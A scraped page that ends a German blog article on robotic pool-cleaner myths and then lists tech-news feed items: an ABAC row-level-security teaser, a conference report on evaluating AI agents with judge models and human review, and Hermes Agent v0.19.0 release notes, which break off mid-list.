					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Christoph Hoffmann</p></div>



<p>Umgekehrt reicht auch kräftiges Bürsten ohne ausreichende Saugkraft nicht aus. Der Schmutz wird zwar gelöst, aber nicht vollständig aufgenommen.</p>



<p>Wie wichtig dieses Zusammenspiel ist, zeigt sich besonders beim Vergleich günstiger und höherpreisiger Modelle. Leistungsfähigere Bürstensysteme in Verbindung mit einer guten Saugkraft reinigen meist schneller und hinterlassen weniger Schmutzrückstände.</p>



<h2 class="wp-block-heading toc">Mythos 7: Ein Filter ist nur ein Filter</h2>



<p><strong>Realität: Die Filterqualität macht einen großen Unterschied</strong></p>



<p>Über die Filter hatte ich mir zuvor kaum Gedanken gemacht. Ein Filter ist schließlich nur das Bauteil, das den aufgesaugten Schmutz im Inneren des Roboters auffängt – oder?</p>



<p>Ganz so einfach ist es nicht.</p>



<p>Feinere Filter können auch kleinere Partikel wie Staub und Pollen zurückhalten. Solche Verunreinigungen fallen auf den ersten Blick kaum auf, beeinflussen aber deutlich, wie klar das Wasser wirkt. Genau darin liegt häufig der Unterschied zwischen einem Pool, der lediglich sauber aussieht, und tatsächlich klarem Wasser.</p>



<p>Eine bessere Filterung reduziert zudem den Aufwand für die manuelle Nachreinigung. Gleichzeitig steigt die Wahrscheinlichkeit, dass der Roboter bei jedem Durchlauf gleichmäßig gute Ergebnisse erzielt.</p>



<h2 class="wp-block-heading toc">Abschließende Erkenntnisse</h2>



<p>Roboter-Poolreiniger sind deutlich vielseitiger, als ich zunächst angenommen hatte. Moderne Modelle können erstaunlich viel leisten, sind jedoch keine Wundermittel.</p>



<p>Ihr Nutzen erschließt sich vor allem dann, wenn man versteht, wofür sie konzipiert wurden: für eine regelmäßige, möglichst mühelose Pflege. Einen stark vernachlässigten oder bereits gekippten Pool können sie nicht allein retten. Bei konsequentem Einsatz helfen sie jedoch zuverlässig dabei, das Becken dauerhaft sauber zu halten.</p>

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<title><![CDATA[Scaling Row-Level Security With ABAC on Databricks Unity Catalog]]></title>
<description><![CDATA[Onboarding a new table into row-level security should be four lines of metadata. Not two new objects, a code review, and a platform-team ticket. This post describes a tag-driven attribute-based access control (ABAC) pattern built on Databricks Unity Catalog primitives…
Read more →
The post Scalin...]]></description>
<link>https://tsecurity.de/de/3682267/it-security-nachrichten/scaling-row-level-security-with-abac-on-databricks-unity-catalog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682267/it-security-nachrichten/scaling-row-level-security-with-abac-on-databricks-unity-catalog/</guid>
<pubDate>Tue, 21 Jul 2026 00:06:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Onboarding a new table into row-level security should be four lines of metadata. Not two new objects, a code review, and a platform-team ticket. This post describes a tag-driven attribute-based access control (ABAC) pattern built on Databricks Unity Catalog primitives…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/scaling-row-level-security-with-abac-on-databricks-unity-catalog/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/scaling-row-level-security-with-abac-on-databricks-unity-catalog/">Scaling Row-Level Security With ABAC on Databricks Unity Catalog</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[A single AI agent conversation can look perfect and still be broken, leaders from LangChain, Conviva and CoreWeave said at VB Transform 2026]]></title>
<description><![CDATA[A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.At VB Transform 2026, Harrison Chase...]]></description>
<link>https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</guid>
<pubDate>Mon, 20 Jul 2026 22:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, <!-- -->Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.</p><p>Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.</p><p>"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."</p><h2>Evaluation criteria now function as the product spec</h2><p>That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.</p><p>"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."</p><p>Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."</p><p>Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.</p><p>Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.</p><h2>Why scoring traces one at a time is a mistake</h2><p>Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.</p><p>Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.</p><p>Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.</p><h2>Sizing the judge to the job</h2><p>Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.</p><p>LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.</p><p>Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."</p><h2>LLM-as-judge doesn't mean human-in-the-loop disappears</h2><p>The bigger question is whether using LLM as a judge removes the need for a human in the loop.</p><p>Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.</p><p>"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."</p><p>Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level. </p><p>Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."</p>]]></content:encoded>
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<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
